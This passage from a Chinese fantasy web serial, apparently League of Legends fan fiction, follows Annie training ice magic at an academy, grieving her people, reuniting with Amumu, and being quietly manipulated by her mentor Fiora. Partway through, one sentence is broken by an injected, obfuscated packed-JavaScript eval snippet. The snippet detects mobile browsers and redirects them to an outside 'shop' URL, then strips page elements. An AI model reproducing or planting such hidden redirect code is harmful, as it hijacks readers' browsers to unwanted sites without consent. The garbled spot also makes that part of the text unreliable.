可是安妮在台下只有一身冷汗,因为——她从不忠诚于天道。 那她的力量来自哪里? “老师,灵力不会有别的来源吗?” 是一个天真的声音。 安妮竖起了耳朵。 “当然……不会。或者说,你们是无法了解到其他渠道的,这会在我们的四阶魔法理论课里透露。” 可是她必须现在知道。 “好了,现在,请和我一起,闭上眼睛,放松心情,真诚地感谢天道赐予我们的力量,并感知这力量与我们的融合……深呼吸,让灵力流窜,放下所有戒备……” 安妮学着周围的人闭上眼睛,放空思绪。可是以前做得滚瓜烂熟的事情,在这个时刻显得如此艰难。 雷声,闪电,夹杂着蚀骨的雨水。寂静无声的环境里,脑海中的回响越发清晰,激荡成自己绝望的嘶吼。脸颊好像已经冰凉…… 安妮企图控制,可是喑哑了咽喉,止不住悲恸。 她在一群对天道的赐予感激涕零的忠实信徒中…… 不要想了……安妮,熬过去,他们什么都不会知道的……你还有很多事情没做,难道仅仅是这一步,就要退缩了吗?想想凯德阿姨…… 可是不能想。 她已经失去了这个温柔的、把自己护在身下的人。 “很好,没想到这么快就有人能够身临其境,产生共情……不要为你们的泪水感到害羞,这是你们美好的品德。” 原来也有人哭了吗? 呵,为这个伪善的机器赐予的施舍。 如果这力量只能依靠乞求上苍的恩赐得来,又何谈推翻上苍? 安妮觉得自己有必要另谋出路。 第一节课结束,除去漫长的感知时间,就是老师对魔法运用的禁忌以及今后学习内容的讲解。 安妮冷眼看着导师在台上手舞足蹈地表演,暗自思考未来该何去何从。 她的金币全部交了学费,但退回了阿木木的那部分,也还挺多。 “安妮,第一节课感觉怎么样?” 是菲缇。 “菲缇老师……” 安妮想谈谈自己的困惑,但明显人来人往的小路不是一个好地方。 “去老师那里坐坐吧。” 菲缇很善解人意地提议,安妮点头跟上,避开了她伸来的手。 菲缇的住所比学生宿舍大一些,装饰也更多。 一进去,就踩在了柔软的白色地毯上。地板是木制的,墙纸是天空和白云的样式。墙边的书柜和衣柜一尘不染,桌子上的茶杯摆放整齐,花朵娇艳欲滴。她的床挂了白金色的帘子,看不到里面的情景,但整个小屋给人舒适温馨的感觉,就像面前的这个人一样。 “坐吧,喝点茶水?” 菲缇提起暖水壶,倒出淡黄色的花茶。 “谢谢。” 安妮抿了一口,暖暖的,没有铁菊花那么苦,清甜里只有回甘,甚至有点腻了。 “好了,有什么疑问尽管说吧。没记错的话,第一个给你们讲课的是温蒂老师——她是一个热情温柔的人。” “是的……但是,菲缇老师,我想知道魔法的来源,只有天道吗?” 安妮没有明说,她不敢明说。面前的人如果也是天道的忠实信徒,她恐怕只能尽快逃离这个危险的地方。 菲缇莞尔:“还以为你要问什么呢,原来是这个。” 看菲缇轻松的表情,安妮松了口气。 “那都是温蒂老师拿来骗你们的。唔……这样说也不太好,其实力量的来源有很多,天道只是其中一种,倘若对天道没有狂热,我们同样可以获得灵力。只是加丁校长和温蒂老师都是依靠天道获得的魔法,所以显而易见他们会希望所有学生都敬重天道。” “那菲缇老师你……” “我是灾难丛林里的妖,我的灵力来自自然,不来自天道哦。” 安妮感觉自己松了口气。 “没有什么比获得力量更重要,安妮,你又分心了。” “抱歉……菲缇老师,我只是担心……” “没有什么可担心的,力量在你手里,你要做的只有掌握它,让它能够为你所用。安妮,我很欣赏你,朝着你的目标进发,我会一直支持你的。” “谢谢你,菲缇老师……” “我想以后的课你都别去了,做我的专用学徒怎么样?这些魔法理论课或许有值得学习的东西,但我想经过我的筛选,你能花费更少的时间在无谓的纠结上。” “可以吗?” 安妮有些受宠若惊。 “你以为我说的跟着我是闹着玩的?我从你的身上看到了一股曾经我也有过的韧劲,我希望你能走到比我更高的高度。” “我会的!” 安妮握紧了杯子,那温度直直地暖到心里。 “很好,这样的熟练度证明你昨天没有偷懒。” 菲缇满意地看着安妮将手里的冰块打磨成一只麻雀,雀的喙又细又尖,弯成一个完美的弧度。 安妮勉强地笑笑,疑惑自己的成果。 她找不回曾经做冰熊那样的得心应手了。 以前凝结的冰块,从中心向四周延展,该停的地方立刻刹住,该蔓延填充的地方恰到好处,哪里需要凸起,哪里需要凹下,都是一念之间。最后的模型摸起来润滑圆满,四肢匀称,外形对称,大小还刚刚好。 可是面前的啁啾雀虽然看起来小巧玲珑,安妮却知道她的翅膀有一个大了一点,脚指甲也有一根断了一半。 究竟是哪里出问题了呢? 安妮左思右想,还是只能依靠反复的练习寻找手感。 那屡次断裂的尖喙就是最困难的地方。 啁啾雀的嘴巴都是上下两个拱起的三角,中间薄四周厚,叠在一起恰好闭合。冰灵力稍微的颤抖和扭曲,带来的都是不均匀或者凹凸不平。倘若用力过猛,又会做成长嘴甚至一个锥形桶。 安妮做得双手通红,才稍微满意。 是的,双手通红。曾经对自己无比温和的冰灵力似乎不认主了,连带着她都开始预防从未在意过的低温感冒。 菲缇告诉她这是冰灵力和自己不亲和导致的。至于为什么使用了十几年的冰灵力突然陌生刺人起来,安妮只能用自己的重生解释,毕竟已经和过去的自己截然不同,灵力不认主也很正常。 能驯服第一次,就能驯服第二次。 “明天开始实战练习,需要我给你找点稻草人吗?” 安妮懵懵懂懂地点头。她不知道稻草人有什么用。 “我会教你怎么进行稻草人实战的,不过在此之前需要你自学魔法理论指导书的第一单元,截止日期是下周日。这些理论在我看来都不太难,我有考试资料,你直接拿去看一看背一背就行。会太累了么?明天是周六,你可以休息休息。” “谢谢菲缇老师,我不累。” 安妮放下手里的啁啾雀,在脑子里演练第二天的行动。她的安排并不精准,因为永远都是,早上六点起床,快速洗漱后,吃饭,看书;中午吃饭,然后睡午觉,练习;晚上吃饭,看书练习,休息睡觉。 这样的事情每天重复,好像没什么可演练的,但安妮总是有做不完的事情:图书馆借来的《源大陆简史》、《源大陆异兽录》和《魔法起源论》还没看完;想练习的模型还没完成;旧的知识没有得到巩固……无数的事情都在明天,而她只能一点点完成。 菲缇很欣赏安妮的努力,也因此,她从不给安妮讲述理论知识。在她看来,只有实战可以让安妮迅速成长起来,那些繁杂琐碎的死知识只会拖累教学进度。 安妮深以为然。 所谓天道恩赐,长存感激,她只当是理论课上所必要的内容,从不当做有意义的文字看待。 菲缇每天八点准时授课,安妮早早地来到预定的训练室,这一次,空荡荡的训练室没有任何人在。 “安妮,所谓稻草人,其实是训练室特有的虚拟敌人,实战中,面对不同敌人,我们有不同的对策,但是在此之前,还有件更重要的事情,那就是熟练度。”随着菲缇的声音传来,训练室里竖立起不同的稻草人,“这是最基本的死桩,可以用来训练我们的力量、精准。在这三天的练习中,我已经看出了你的弱点。对自己灵力的不熟悉就是最大的缺陷。所以我要求你用最快的速度将冰灵力的力量提升到2000,精准提升到B5,掌控提升到50,这个过程很漫长,可能是十个月,可能是一年,也可能更长,你能做到吗?” 安妮看着自己手中凝结的力量,那股被打散的若有若无的缥缈感再次传来。她全力一击,稻草人头上显示:90。 “我要怎么做?” “不断地使用冰灵力直到枯竭,保持全力进攻的状态可以提升力量;瞄准移动的稻草人进行攻击,五分钟为一个限定,可以测试精准;将冰灵力按照要求塑造成型,不断打磨细节,可以提升掌控。你可以在训练前测试出自己的极限所在,然后以此作为基础数值。” “这个数值不会太高。” 菲缇补充的一句恰恰是安妮所想。 安妮摊开双手,虚握。 在颤抖。 恐惧、不安,都让她无法再成为这强悍天赋的主人。直面天道的弱小将她压得喘不过气,一次次凝结力量都带着被打散的虚无。 这冰晶再也不是玩闹的工具,也不是捉鱼时的陷阱。她将要破碎的是整个天道的牢笼,这份沉重足以击垮所有意志。 甚至,她自己都在为自己的弱小寻找借口,将一切归结为合理。 “我会竭尽全力帮助你,但最终能帮你的,只有你自己。” “我懂……” 沉郁的回答结束,安妮抬头,看着面前微笑的稻草人,恍惚间似乎感受到了天道的讽刺。 不过你还没有资格进入它的视线,安妮。 抬手,蓄力,挥出,深蓝色的魔力在稻草人心口炸开,数值仍旧低于100。 稻草人头上的数字不断刷新,蓝色的魔力倾泻而出,和白炽灯一起烘烤着少女灼热的心。 超过两百…… 随着最后的蓝色灵力飞出、炸裂,面前鲜红的数字终于跳跃到201。 安妮松了一口气,绵软的手终于无力地垂下,任由汗水沿着发梢滴落在地上。她坐着,等了很久,终于有了起身收拾的力气。 没有太多的物品,只是简单擦了擦凳子,关掉训练的开关。 偌大的训练室一瞬间空空荡荡。 安妮回头,暖黄的灯和光洁的地板闭合成一个安静的世界。窗外漆黑,只有树枝晃动的影子。她靠在门口,只听得见自己急促的喘息声。 孤独如雪崩一般埋没了此刻。 安妮忽然想到什么,狂乱的心跳有一瞬间停滞。 冰冷、恐惧、不安……失重的感觉使全身冰凉,浸湿后背的衣衫更加寒冷……安妮没有迈出脚步,而是再一次选择了沉默和……停驻。 他应该走了吧…… 走了吗? 安妮看着窗外摇晃的树影,恍惚间似乎看见了少年挺拔的身姿。 走了……天黑了,你也该走了。 安妮在心里一遍一遍告诉自己,这是最好的结局。 只有地板上炸开的晶莹破碎了表面的平静。 关门、穿衣,狼狈不堪地,擦着眼泪,躲闪着零星经过的人的视线……忍住,可是忍不住……我是真的刻意遗忘的吗?可是我后悔了,后悔…… 我也害怕黑夜…… 缓慢行走着的少女身上背着训练一整天的疲累,那脚步沉重而富有节奏,一步一步踩在谁的心上。 一步…… 两步…… 三…… 终于,巨大的慌乱占据上风,那个身影离弦之箭般冲出,在月光下的影子踉跄着越拉越长…… 穿过窸窣的花丛,绕过参天的大树,月光下的石子路凹凸不平,阻挡着奔跑者前进的方向。可是只有超速的奔跑能带来安全感,因为似乎只有这样,才可以追上那个远在天边的人…… 安妮拨开草丛,停在湖边。 那个伫立的身影刹那间印在心上。 万籁俱寂。 “你来了?看来我没有白等……” 少女扑进少年的怀里。 呜咽声打破了静谧。 “你为什么不走……为什么?为什么!为什么……” 为什么要追随我来到这里?为什么要给我说“对不起”?为什么要等我?为什么……让我放不下……为什么…… “我走不掉了。” 温暖的手掌轻抚上柔软的长发,回抱的动作如此轻柔和坚定。 …… 所有的言语都化为泡影,相拥的人在月光下见证了无言的誓词,沉静的潭水倒映出这永恒的一刻。 那是阿木木第一次明白,何为等待。 天花板一如既往的白,被晨曦照出纹理。 安妮睁眼,习惯性地摸了摸床边坐着的玩偶熊,只是那双无神的眼睛出卖了内心的思绪。 明明说好不哭了…… 安妮,你还没有幸福的权利。 那个举世无双的人再次出现在脑海里,只是汹涌过后的海面只剩平静,所有的现实都已经残酷地浮现出来,打碎了理想的泡沫。 冷静。 干涩的眼睛里,是强压下的湿意。 一如既往地洗漱,只是让冷水冲刷了更久。清醒到过分的头脑运转,演算着接下来的行动。一个个数字在预估下显得越来越近,但安妮知道,还是遥不可及。 时间,她是如此地缺乏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119474|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间,任何无谓的思考都只会耽误她成长的时间。 她不再去想阿木木的去向和选择,而是再一次回到训练室。 抬手。 果然,超支后的爆发非常有利于提升力量,数值在200-220之间摇摆。安妮知道这是因为最开始的潜力最大,之后恐怕很难再完全依靠单纯的1v1提升。但现在的短期目标也足以让她忘记一切。 五百,只要五百。 一次次透支,一次次恢复。这样重复的练习显得枯燥乏味,可是安妮总是能在劳累的间隙想起那些不堪回首的往事…… 抓蝴蝶、烤鲫鱼、摘野花……听凯德阿姨讲故事、做小熊琥珀和木雕、种植最爱的蒲公英……可是转眼间,闪电、雷鸣、酸雨……族人的哭喊、烧焦的糊味、绝望的气息…… 欢声笑语和黑暗死亡交织在一起,让脑子混乱不堪,只能竭尽全力继续手上的动作,好像灵力能够带出悲愤。 累,浑身都累,思绪更累。 是看不到未来的累。 天道的力量是两万还是二十万,甚至两百万,两千万? 她用什么和这绝对的威压抗衡…… 好累。 可是又怎么能放弃…… 安妮,你忘了爸爸妈妈的关爱了吗?忘了凯德阿姨的教诲了吗?忘了你原有的一切了吗?你在怕什么? 不过一死。 不过如此。 灵力倾泻,莹蓝色充斥的黑色眼眸越发深邃,那懦弱似乎随着炸裂的冰晶消融了。 “我以为你今天不会来呢。” “菲缇老师?” 安妮停手,那数字稳定在211。菲缇眼中的欣赏毫不掩饰,勾起的嘴角弧度越发优美:“其实偶尔休息一下也没有关系,急功近利总是不行的。” “我不累。” “你不想去找他吗?” 安妮顿住了。 “安妮,其实我很羡慕你。” “羡慕?” “不是所有人都可以在生命最美好的阶段遇到爱自己的人的,也不是任何人都有爱别人与被人爱的能力。而你恰好都有。” “不,菲缇老师,我不能……” “安妮,听我说。”菲缇打断少女即将寻找到的一大堆借口,把她拉到身边坐下,“世界上只有一个因素可以阻止相爱的人在一起,那就是情感本身。如果足够相爱,那就没有理由离开,任何以对谁好为借口的放弃都是对这份感情的不尊重。” “可是……” “安妮,我知道你的心里有太多,所以更加放不下。我并不劝说你接受什么,也不会强求你改变现状,但至少你不能逃避,甚至让这份纯粹的感情变质成疏离和仇恨。起码——多个朋友,少个敌人,对吗?” 安妮沉默,凯德阿姨的身影似乎和菲缇重叠在了一起。 她不自觉地点头。 “昨天,你睡着了,是我带他把你送回来的。我在路上问了他几个问题。”菲缇顿了顿,满意地看到了安妮关切的目光,“你也很想知道我问了什么,对么?” 安妮避开她直白的视线。 眼前的少女还不知道,眼睛会出卖一切。 “我问他,你在那里等了多久?他顿了顿,说,一天。我就问他,如果等不到,你怎么办?这一次,他没有犹豫。” “他说,一定会等到的。” 心脏颤了颤。 “我很不可思议。我问他,为什么你这么肯定?……你也想知道他怎么说,对吗?” 这一次,安妮诚实地点头。 “他说,因为我了解她。” 菲缇看见身侧的手紧了紧。 “好了,时候不早了,加丁校长找我有点事商量。如果有空的话,去湖边坐坐吧。” “菲缇老师再见。” 安妮目送优雅的导师离开,那背影是如此从容。 羡慕? 安妮攥紧了手。 原来,她也有被别人羡慕的时候啊…… “扣扣扣……” “请进。” “加丁校长。” 门缓缓打开,菲缇带着恰到好处的笑容走进校长办公室。 加丁埋头在一卷古籍里——这是他惯有的动作。一到这个时候,菲缇就知道他有事要谈了,而且多半是要商量很久的事。 果不其然,这个日理万机的老头还是开门见山的风格:“关于神使的事,你应该清楚?” 那可是货真价实的神,尽管目前没有展示出他应有的力量,但这就是苍天与蝼蚁的区别。加丁不相信面前这个年轻的教师会无动于衷,起码目前来看她确实有应有的动作。 “校长也知道,我只是单纯欣赏那个学生的能力。在神使展示出他的力量之前,我就已经打算收安妮为学生了。” 加丁眯眼,似乎面前的古籍让他有些难以理解。 “其实,我也没想到他们不仅仅是一起来报名的关系。但是这样不是也挺好的么?安妮在光明学院学习,神使也在这里维持光明的秩序。” 菲缇的笑容如此纯善,让加丁看不出一丝她试图借助神使的力量提升地位的痕迹。 “这个学生既然天赋异禀,那就好好教导吧,这样神使也能安心。只是,天道追求平等,我不希望有任何谣言出现。” “校长放心,安妮是很守本分的学生。” 菲缇只字不提自己撮合安妮和阿木木的事。 加丁点点头,终于放下了手上的古籍,转而拿起手边的地图。古旧的羊皮纸和摞在一起的资料格格不入,让菲缇一瞬间就联想到了那个常年出门在外的人。 地图上标记的东西菲缇看不清,不过加丁的话也让她知道了这的确是艾德文特的杰作。 艾德文特,一个性情古怪的年轻探险家,对外宣称只是热爱出没各种危险又神秘的地方寻找宝藏,事实上是光明学院的首席委员会会长——不管事的那种。 “艾德文特没打算回来,但毕竟神使的到来会让他的行动有所变更。你是安妮的老师,或许可以适当地给她提一提,让她问问神使降临的地点和更多情况。” 说白了就是要锁定地点寻找神器。 菲缇眼底深处的嘲讽一闪而过。 “好的校长,我会尽量打探出消息……” “不是尽量,是必须。”加丁合上地图,上面的图案标注没有半分展露,“虽然艾德文特是首席委员会会长的事实不会改变,但副首席也面临退位了。光明学院总归是需要更多新鲜血液的,今年最佳魔法师的名额也可以适当给一下新生。” “谢谢校长,我明白的。” 菲缇的笑容更加灿烂了,加丁回给她一个鼓励的微笑。 “好了,去忙吧,我就不打扰你工作了。” “是,校长再见。” 菲缇略带激动的深鞠一躬,后退几步才转身离开,关门的声音越发轻柔。 只是那笑容在背过去的一瞬间更加灿烂,却留下了难以察觉的深深的讽刺。 7. 7 学校的活动很多,社团等等应有尽有。在追求力量的道路上,总是有很多充满诱惑的东西阻挡这群天真的青年的脚步。只有安妮的生活,永远那么单调,永远那么孤独。 力量已经到达临界点三天了,或许应该更换精准训练了。 安妮坐在湖边,还是慢悠悠地晃着腿,脑子里却没有了今天抓鱼还是采蘑菇的纠结。 “安妮,又在这里看风景?” 听这个声音就知道是谁。 “菲缇老师……” “你想问我为什么没有去过节?” 菲缇坐在安妮身边,就像曾经无数次开导她那样。 “你已经有一个月没有去找过阿木木了。” “他来过。” “被你赶走了。” “……” 菲缇发现安妮越来越爱沉默了。 “说说吧,你到底怎么了?” “今天是丰收节。” 原来已经入秋了啊。 安妮抬头,太阳即使不在盛夏,身影还模糊着,可那灼热的温度还是如此沸腾,皮肤沸腾,人心也沸腾。 她想起每到这个硕果累累的时候,族人们就会围着篝火烤兔子,烤野鸡,烤玉米,什么都烤……丰收节犒劳着每一个认真劳动的人。 她在旁边,也吃着自己喜欢的东西,冰盆里冒着白气的冰块凉嗖嗖的,一点也不怕那通红的火堆。 这是第一个,没有族人的丰收节。 也没有丰收,没有她的丰收。 其实即使丰收了,即使一跃达到2000的力量值了,一切不也还是遥不可及吗?丰收节奖励每一个认真劳动的人,除了她。 再努力也没用的。 “安妮,你知道吗?每当我看见你,就会感觉到一丝若有若无的悲伤缠绕住了视线。我无论看到哪里,都会给这世界蒙上一层灰暗。为什么不能开心一点呢?你的人生还很长,不要把目标直接立到死亡那一刻。” “可是菲缇老师,即使是在死亡之前,我的目标也无法完成……” “人生中最确定的事就是不确定的人生,奇迹总会在绝望之前到来。” 但愿吧……但悲剧已经先于奇迹到来了。 “阿木木可是拒绝了好几个送花送水果的同学呢。”菲缇狡黠地眨眨眼,“聊点开心的,比如,你们怎么认识的?” “怎么认识的?” 安妮有些窘迫,不知道是因为菲缇的前半句还是后半句。 “比如说,我和你的相遇,是在那个晴朗微凉的早晨,在一颗纯粹的水晶球的见证下?” “唔……我和他……是在森林认识的。我喜欢去森林玩,那天就看见了他……” 安妮的话吞吞吐吐的,可是脑子里的回忆转得飞快。 她怎么会不记得。 那个胆怯又瘦弱的身影藏在挂满冰晶的雪树后面,一不小心露出一片翠绿的衣角。她坐在高高的熊背上,只看见那个乌黑的发旋。后来,她走近了,假装大方,其实一看见他澄澈幽深的水晶般的眼眸,就慌了…… “森林?安全吗?看来你对自己的魔法很有信心。” “算安全吧……只要不要走进森林深处就好了……” 安妮不敢说出无妄森林的名字,她害怕菲缇猜到什么。 好在菲缇十分善解人意,还是什么也没有问,反而提醒她:“阿木木的身份太过特殊,这些事情我们知道就好,千万不要到处说哦。如果被问到,你就……嗯……就说在沙漠好啦。” 看见安妮懵懵懂懂地点头,菲缇才放下心来。 “时候不早了,我还想去尝尝喷泉花园里的糕点,先走了。你的力量已经到达临界点,可以练习精准了。——进步很快,加油!” 菲缇揉了揉安妮的秀发,率先起身。 “菲缇老师再见!”安妮站起来,微笑着目送菲缇离开。 她想,或许遇到这个亦师亦友的伙伴,是她最大的幸运。 菲缇一进入喷泉花园,就受到了学生们的热情欢迎。她的温和有礼让光明学院的人感受极深,无论是学生还是老师都展示出应有的尊重与喜爱——不管是真心还是假意。 菲缇也一一打招呼,丝毫不觉厌烦。她似乎真的是来享受糕点的,东尝西逛,还打包了一份巧克力慕斯。 直到把所有的甜品都品尝或者欣赏完,她才不紧不慢地往外走,那小径赫然通往校长办公室。 “扣扣扣……” 还是恰到好处的速度和力道。 “请进。” 面前的老头仍旧一副金边眼镜,头也不抬地浏览着手上的文件。菲缇知道这老家伙恐怕是对自己不满了。 “听说你在喷泉花园逛了一圈?” “去吃了点甜品……校长要尝尝巧克力慕斯吗?” 菲缇抬手,晃了晃手上精致的打包盒。 “我以为你应该是对副首席更感兴趣的。” 那个空头支票?菲缇在心里嗤笑了一声。作为一只对他们而言来历不太明确的妖,菲缇知道她这辈子也别想坐上那个位置。 “抱歉校长,但是我确实不太明白如何套话。不过安妮告诉我,她是在沙漠边缘遇到的阿木木。” “沙漠边缘?” 显然是要具体名字。 “我想,唯一的沙漠就是恕瑞玛了,所以没有再问下去。” “你应该知道那里有多危险——我要确切的答案。” “校长放心,我会问到具体位置再说的。” 菲缇恭顺地答应着,笑容越发真诚。虽然加丁是这么说的,但他会不会直接命令艾德文特去恕瑞玛就不得而知了,毕竟这两个可是一个愿打一个愿挨。 “好了,既然没有别的事,你就先离开吧。” “校长,其实我还有一件事要说。” “什么事?” 这一次他抬头了,那双古井无波的眼直直地盯着菲缇,无形的压力传来——似乎菲缇说一句逾矩的要求都是罪大恶极的。 菲缇抿了抿嘴,犹豫片刻,还是开口:“安妮那孩子心境不太稳,这段时间练习太多了,或许需要远离学习休息休息,所以今年的期末排名对抗赛恐怕没法参加了。” “你应该知道没有比拼,任何名次都是无法服众的,除了倒数第一。” “但是她这么拼下去会出事的,我想校长也能体谅体谅,毕竟她休息的这段时间我也能陪她多聊聊。” 加丁没有立刻同意,但菲缇早看穿了他装模作样的犹豫。果不其然,他沉吟片刻,还是状似纠结地答应了。 “看在神使的份上,我会给她一个公正的排名的。” “谢谢校长!安妮会感激您的!” “不必了。但是菲缇,你要知道,很可惜的一件事是,委员会的副首席是可以直接决定这件事的。” 加丁还在暗示菲缇,菲缇也给出应有的情绪,让面前自以为是的人安心。 “那么,现在还有事吗?” 加丁收回视线,菲缇却没有收回微笑。 “没有,打扰了,校长再见。” 她还是举止得体地关门,离开,步伐维持在略微轻快的节奏。 精准练习同样很简单:每一个稻草人都会以不同的速度进行移动,由慢到快,持续五分钟。每一分钟都是一个梯度,这是为了测试初步练习的人到底达到了何种水平,之后的训练再在这五个梯度里细分,每一个梯度再次划为五个等级。 安妮的基础数值一如既往地低,但事实上她已经比那些从未有过实战的人好太多。 第一梯度ABCDE,第二等级1-10。 精准度C5,比同龄人高一个等级,这是在森林里冰鱼抓兔子练出的成果。但不够,至少要上升到B级,实战命中才有保障。而B5意味着50%的移动靶子命中率和25%的共同移动命中率。 A的举例是卡伊特,这个路西瑞城的顶尖守护者取得了A8的好成绩,这意味着静止靶子百分百命中,移动靶子90%命中率,而共同移动时也有70%的命中率。百发百中不过如此。 力量的突破需要集中精力,精准就可以和掌控一起训练了。因为力量不会消散,而精准与掌控会随着时间的流逝降低,必须一直练习。 安妮干脆把掌控也测试了,总归还会打击一次的。 果然,掌控的分数极低,堪堪达到11。这从菲缇要求她做啁啾雀时就可以预料到。安妮虽然不太理解为什么,但手中的力量有时确实不受控制。 力量和掌控极度不对等的情况是很危险的,安妮决定在掌控没到基础值20之前还是不要乱用灵力了。 任务的第一个要求没那么难,做各种各样的形状。 安妮很轻松地做出一个六边形,但她自己看着都不太满意。 边长虽然尽力一样了,但角度似乎歪了,这导致整个六边形就像斜放的一样。还有那不太光滑的平面,昭示着主人心境的不稳。 安妮死盯着手上的冰块,那寒意传到手心,冰得皮肤深处生疼,可是心中的无名火燃烧得越来越剧烈。 “啪!” 是冰块碎裂的声音。 “叮铃铃……” 冰晶在地板上起舞,然而这细碎的节奏没有给安妮任何安慰。 “啪!” 又是一块六边形,碎裂在墙上。 我在干什么? 自怨自艾吗? 强迫自己停下的安妮攥紧了手里又一个不完美的六边形,看着地上的冰晶不知所措。 她不想这样的…… 凯德阿姨说过,要克制。人之所以为人,是因为他们懂得约束自己。 她不想…… “扣扣扣……” 是谁! 下意识的,安妮不想阿木木看到这狼藉的一幕。 还好,进来的是菲缇。她的手上拎着一个精致的蛋糕盒,透明的塑料里是一块三角形慕斯。 “看起来,我来对时候了。” “菲缇老师?” 她都看出来了吗?虽然冰已经开始融化,但这毫无形状的碎片总不可能是她轻拿轻放的结果。她说她来对了? 安妮不明白,这种时候,这样狼狈,为什么会是正确的。 “你给自己的压力太大了,需要好好休息休息。我找校长申请了期末免测,你不会怪我自作主张吧?”菲缇很自然地甩手,清理掉一地的冰块,“现在看来,你还需要去外面散散心,让阿狸陪你出去玩玩应该是不错的选择。” “阿狸姐姐?” 菲缇老师认识阿狸?也对,她们是同样温柔的人。 “你认识她?那真是再好不过了。阿狸和我一样都是灾难丛林里的妖,我还怕你也会和他们一样,对我们有偏见……” 他们?安妮不知道是谁,但绝对不会是她。 “乖孩子,今天就给自己放个假吧,这是奖励你的蛋糕。” 菲缇把慕斯放在凳子上,揉了揉安妮的头发:“阿木木如今是神使,校长应该不会让他一起出去,所以这件事我通知他就好了,免得这个小家伙又来找你,以为自己吃了闭门羹~” 菲缇一提到他们的事,就爱眨着眼调 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他似乎有些惊讶,惊讶安妮此时的平和以及……近人。 “阿狸姐姐是和凯德阿姨一样温柔的人。” 安妮回想她们的第一次相遇。在熙熙攘攘的人群中,琳琅满目的商品都挡不住她的色彩。耀眼、美丽,和凯德阿姨棕色的长发一点也不像,可是心灵都那么纯粹,可以从眼睛一直看到灵魂深处。 “你和她明明只有过一面之缘。” “直觉。” 就像草原上的风一样轻微又不容忽视的直觉。 可是与之相反的是,她感觉不到和菲缇之间的默契。 大概是离得越近,看得越少吧……我怎么能怀疑这个真诚热情的朋友呢…… 安妮甩头,把不切实际的陌生感抛诸脑后,准备安心享受明天的游玩。 “我会给你带礼物的!你还记得我教你编的蚂蚱吗?原来这里也有人会编!等我去街上买一些将军草,也给你做一只!” “好。” 阿木木腼腆地笑了笑。安妮总觉得他还是穿着原来的青色风衣好看,这身衣服太过闪耀,张扬得不像他的风格。 只是那笑容还是一如既往地璀璨。 “提伯斯最近还好吗?” 这是一个很突如其来的话题。 如果是其他人,安妮大概会想到深渊权杖的踪迹是否暴露,但她知道木木的意思。 “还是在睡觉,没有一点醒来的迹象。那个东西……也一直在他的肚子里,不知道情况怎么样……” 每天晚上,她都抱着了无生机的小熊玩偶睡觉,欲言又止了半天,还是只能把心中的苦闷压抑都悄悄消化。 不知道从什么时候开始,她已经不习惯每天晚上拉着心爱的玩具讲悄悄话了。 “放心吧,它会苏醒的。” “但愿吧……不过他现在不醒也好。” 剩下的安妮没有说,但阿木木大概也知道。提伯斯或多或少带着黑暗气息,在光明学院太容易引起争端。 安静再一次萦绕上来,但两人都没有了开口的打算。也许是曾经说的太多了,也许是现在需要说的太少了。 但安妮喜欢这样的安静,这是每次在训练室里感觉不到的轻松。 一直这样坐着,看着天边一点点变黑,看着湖泊的光亮越来越少,看着树影沉入湖底,看着身边的人真实又虚幻的影子。恍惚间,安妮听到了凯德阿姨远处的呼唤。这么晚了,回家的话,又该被妈妈念叨了吧…… “为什么你这么喜欢蒲公英和桔梗的故事?那一点也不浪漫。” “不浪漫,但是真实啊。” 安妮回想起自己以前和那些孩子在一起玩耍的时候。她总是毫不留情地戳穿那些善意的谎言,打碎他们对美好生活的幻想,还有撕开童话虚假残酷的面具……她总是不经意的、无知觉的……可是她也不知道为什么,会这样。 就是喜欢黑暗的真实,哪怕向光的那一面那么美好。 那是内心最深处的答案。 “凯德阿姨……” 安妮呢喃着,感觉自己好像陷入了纯黑的世界,周围什么也没有,什么也触摸不到,感觉不到。没有光,没有出口,自己在慢慢下沉……下沉…… 令人心跳加速的失重感瞬间席卷全身,安妮一个冷战,坐起来。 “呼……呼……” 四周静悄悄的,只有自己的喘息声。 右手拉着提伯斯的爪子。 安妮把玩偶提起来,黑暗中只有他的眼睛还是那么闪亮。安妮摇了摇,提伯斯随着力道轻微晃动,一点抱紧自己手腕的意思也没有。 安妮垂眼,把提伯斯重新放进被窝,睡觉。 黑暗……无边无际的黑暗。 闭眼是纯粹的黑暗,睁眼是模糊的黑暗。 安妮明明不冷,但是还是感觉没有温度。 她想起了火盆,面前于是好像多了几簇跳跃的火焰,火光里是人们跳舞的影子。 她想起了凯德阿姨的故事,耳边传来银铃般清脆的杂乱的笑声,和自己的心跳一样清晰。 她想起了草原上的兔子,河里的鱼,春天的铁菊花,夏天的野山果…… 她就这么睁着眼睛,干涩了眨一眨,冰凉了揉一揉,盯着黑暗里那团模糊的影子,脑海里飞快地闪着画面。 未来的计算在现在显得微不足道。 这一晚,安妮做了个梦。 然后,失眠了。 8. 8 “安妮,昨晚睡得怎么样?” 阿狸在学校门口站着,高大俏丽的身影显得鹤立鸡群。她挑了一身红色长裙,白色绒毛的围脖衬托得她的皮肤白皙动人;腰带也是乳白的,在右侧打了一个蝴蝶结,明明十分宽松,却衬托得腰肢越发纤细;宽大的衣袖下面,雪白的皓腕随着挥手露出,玉手纤纤,在太阳下好像泛着光。 “还好。阿狸姐姐早!” 安妮挥手回应。 菲缇给她买了一件黑紫色的小裙子,上身用拉链收紧,下身的短裙用蕾丝花边装饰一圈,在右侧的开襟层层叠叠,显得活泼俏丽。 阿狸慢步走来,安妮突然注意到她身后窜出的一个高大身影。 这是一只猴子。一只……看起来很活泼的猴子。 他浑身是毛,只有手和脸是干净的,穿着一身简单的短打,蓝色短裤,脚上踩了一双凉拖,最滑稽的是头上那顶带歪了的扁圆帽子。 虽然是普通店小二的装扮,但他的双目有神,举止大方,走路方式也是踮着脚尖一跳一跳,非常特别。 安妮看着这只明眸皓齿的猴子,觉得眼前的画面莫名违和。 “咳咳,介绍一下,这是猴子,我在常青森林捡……遇到的……朋友。” 阿狸的话带着一丝尴尬,安妮大概也知道为什么。 这么特立独行的朋友多半是捡的,毕竟阿狸姐姐这么优雅。 还有这如此随意的名字…… 